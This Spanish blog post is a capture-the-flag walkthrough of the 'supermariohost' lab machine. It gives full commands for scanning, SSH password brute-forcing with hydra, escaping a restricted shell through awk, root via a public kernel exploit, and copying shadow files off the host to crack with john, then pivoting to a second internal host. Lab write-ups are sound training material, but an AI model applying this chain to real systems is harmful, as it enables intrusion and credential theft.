miércoles, 20 de diciembre de 2017

Solución al reto supermariohost

En primer lugar, vamos a preparar el entorno. Porque, lo vamos a hacer con metasploit.

Service postgresql start

msfconsole

db_nmap -sS -sV -A -o /root/supermariohost/supermariohost_nmap 192.168.1.132



Vemos que hay un servidor ssh y un servidor web en el puerto 8180

Vamos a investigar el servidor web.

nikto -host 192.168.1.132 -port 8180 -output salida_nikto.txt

Aparecen los directorios

/icons/README



Vamos a probar con dirbuster



O con dirb (dirb http://192.168.1.132 diccionario


Hemos encontrado los siguientes directorios:




/server-status
/vhosts



Cuando trabajamos en un servidor, el cual, está alojado fuera de nuestra red. Debemos antes añadir el nuevo servidor al archivo /etc/hosts. De esta manera, podremos trabajar con él.

Entonces, añadimos al archivo /etc/hosts

192.168.1.132<tab>mario.supermariohost.local



Así, ya podemos trabajar con el servidor mario.supermariohost.local.

Si ponemos en el navegador mario.supermariohost.local:8180



Nos vamos a otra terminal y creamos un diccionario de personajes de Super Mario Bros.

He cogido algunos de aquí http://es.mario.wikia.com/wiki/Categor%C3%ADa:Personajes y los he puesto.

He llamado al archivo supermariohost_diccionario_personajes

Los pondremos en minúscula, porque en el servidor hemos visto que mario estaba en minúscula y, lo más probable, es que el administrador haya puesto de ese modo todos los usuarios.

Además, sólo he puesto algunos, mario, luigi, peach...

Algunos podréis preguntaros, que por qué no uso el módulo de metasploit ssh_enumusers. Lo he usado, pero me daba problemas para identificar a los personajes, alguno no concretaba si existía o no, sólo decía que no se podía conectar.

Creamos un diccionario de posibles contraseñas.

john --wordlist=supermariohost_diccionario_personajes --stdout --rules > diccionario_definitivo

Si queremos, si nos sale muy grande, podemos dividir el diccionario en otros más pequeños:

split diccionario_definitivo -b 100KB

Que dividiría el archivo en archivos de 100 Kb.

Ahora

hydra -L supermariohost_diccionario_personajes -P diccionario_definitvo -t 4 192.168.1.132 ssh

O bien, para ir dividiendo el trabajo

hydra -l personaje -P diccionario_definitvo -t 4 192.168.1.132 ssh



Nos ha salido que tenemos un usuario: lugi con contraseña luigi1


Ponemos la password



listamos

ls

Vemos un mensaje:

cat message



No nos deja ni cambiar de directorio, ni nada, vamos a ver qué comandos nos deja usar, poniendo el signo de interrogación

?

Entre ellos está el comando awk.

Awk nos permite ejecutar órdenes

awk 'condicion {accion}' archivo_entrada > archivo_salida

awk tiene su propio lenguaje de programación.

Usaremos awk para iniciar una shell, con su comando BEGIN

awk 'BEGIN{system(“/bin/bash”)}'



ponemos

lsb_release -a

para ver la versión de la distribución



Y para ver toda la información

cat /etc/*release



y para saber la versión del kernel

uname -a



La versión del núcleo es 3.13.0-32 generic.

Vamos a intentar escalar privilegios.

Buscamos el exploit en google, y vemos que lo tenemos en https://www.exploit-db.com/download/37292/

Lo descargamos y lo editamos (en otra terminal), quitando la parte



Lo renombremos como 37292_1

Editamos el archivo en nano

nano 37292_1



y lo guardamos como 37292_2.c

Iniciamos el servidor apache

service apache2 start

y, en la terminal de la máquina víctima hacemos


después, compilamos

gcc 37292_2.c -o 37292_2

Ejecutamos el exploit

./37292_2

y ponemos

id

Veremos que ya somos root.




En la carpeta /root/ tenemos un archivo, flag.gz

al ir a descomprimir, vemos que nos pide una contraseña.

Como ya somos root, podemos poner una shell más cómoda

/bin/bash

Copiamos flag.zip a /var/www/html/

(Sí, es que antes he estado husmeando)

Ahora, en otra shell (que sería de nuestra máquina) ponemos

wget 192.168.1.132:8180/flag.zip

Hacemos lo mismo con /home/luigi/message por si nos sirve para algo (copiarla a /var/www/html) y descargarla al equipo atacante.

Para craquear la contraseña, usaré fcrack

fcrackzip -v -D -p diccionario_definitivo flag.zip

-D indica que se utilizará un diccionario.

-p Usa cadenas como password o fichero iniciales.

O bien, si no queremos usar diccionario

fcrackzip -u flag.zip

La opción -u es para que no nos salgan las contraseñas que no son.

Aplicamos la primera opción (fcrackzip -v -D -p diccionario_definitivo flag.zip)

Nos da la contraseña, mariomario

unzip flag.txt

Metemos mariomario

Si sale el error “invalid compressed data to inflate”, significa que no es la contraseña.

Probamos con otro diccionario

Copiamos a nuestro directorio el diccionario /usr/share/wordlists/rockyou.txt.gz

gunzip rockyou.txt.gz

fcrackzip -u -v -D -p rockyou.txt flag.zip



Descomprimimos como antes, y metemos la contraseña ilovepeach

Y ya lo tenemos



Nos dice que hay más usuarios.

Volvamos a la consola de supermariohost y editemos /etc/passwd

cat /etc/passwd



Encontramos a mario.

tar -cf archivo.tar passwd shadow shadow~

Copiamos

cp archivo.tar /var/www/html/

Y descargamos a la atacante


Desempaquetamos

tar xvf archivo.tar

Nos hemos descargado los 3 archivos passwd shadow y shadow~, porque los necesitamos para craquear las contraseñas.

Añado ilovepeach y mario a diccionario_mario

Y creamos un diccionario con estas palabras:

john --wordlist=diccionario_mario --stdout --rules > diccionario_mario_john

Hacemos

john --wordlist=diccionario_definitivo shadow

Nos sale

ilovepeach! (mario)
ilovepeach! (root)

Ya tenemos las contraseñas de mario y de root.

Volvamos a la máquina víctima.

Nos logeamos como root con el comando su

Encontramos el directorio /.bak/users/luigi con tres archivos

id_rsa id_rsa.pub message

cat message



Y si hacemos

cat id_rsa.pub



Hay un nuevo usuario warluigi, en un nuevo host warluigi.

Copiamos y pegamos a la máquina atacante id_rsa e id_rsa.pub, manteniendo los mismos nombres.

He creado el directorio warluigi (en atacante) y los he metido allí.

Si hacemos ifconfig



Vemos que tenemos dos interfaces nuevas, con sus ips.

192.168.122.1

fe80::fc54:ff:fe24:edab/64

La última es ipv6

Si hacemos nmap a cualquiera de las dos (en el caso de la segunda, hay que poner fe80::fc54:ff:fe24:edab%eth0) nos dice que están levantadas, pero que nos están bloqueando.

En la máquina víctima (logeados como root) ponemos

arp -a



Si intentamos acceder desde la máquina víctima

ssh -i id_rsa warluigi@192.168.122.1



Ponemos warluigi (por probar)



Yo he sido impaciente, y he ido poniendo ls ;-) no hagáis caso.

Nos subimos el exploit de antes.


Y compilamos

gcc 37292_2.c -o 27292_2

Ejecutamos

./37292_2



Ponemos

/bin/bash

Y así tenemos una consola decente.

En el directorio /root/

ls -a



cat .hint.txt



unzip flag2.zip

Ahora, desde una nueva terminal con el usuario root de supermariohost, lo descargamos.

Una vez descargado, lo descargamos a la máquina atacante.



Nos descargamos también los ficheros /etc/shadow y /etc/shadow/~ Pero los descomprimo en una carpeta aparte para no coincidir con los anteriores.

descomprimo flag2.zip

unzip flag2.zip

Probé la contraseña peachlovesme y funcionó.



Vamos a por las contraseñas. Para ello, lo preparamos todo en el nuevo directorio que hemos creado.

Añadimos peachlovesme al diccionario_definitivo (por si acaso)

Hacemos:

john --wordlist=diccionario_definitivo shadow














No hay comentarios:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.